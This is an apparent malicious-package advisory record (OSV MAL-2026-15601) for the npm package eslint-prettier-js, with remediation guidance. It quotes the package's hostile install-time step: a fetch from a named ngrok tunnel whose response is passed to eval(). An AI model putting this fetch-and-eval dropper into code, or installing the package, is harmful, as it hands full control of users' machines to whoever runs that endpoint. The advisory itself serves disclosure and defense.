OpenSSF/OSV advisory MAL-2026-15601 confirms this npm version as malicious. The package's postinstall hook runs index.cjs's onInstall(), which performs `await fetch("https://2939e69fc408.ngrok-free.app/stats")` and passes the response body to `eval()`. On `npm install` this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in eslint-prettier-js (npm)
Details
The package's postinstall hook runs index.cjs's onInstall(), which performs `await fetch("https://2939e69fc408.ngrok-free.app/stats")` and passes the response body to `eval()`. On `npm install` this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description ("Test eslint and prettier") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.
## Source: ghsa-malware (dc148ed2256ce70dc5162c2b971837f0080a5d3dcce6a46be0305661515c5549) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms eslint-prettier-js@0.0.1 as malicious (MAL-2026-15601): Malicious code in eslint-prettier-js (npm)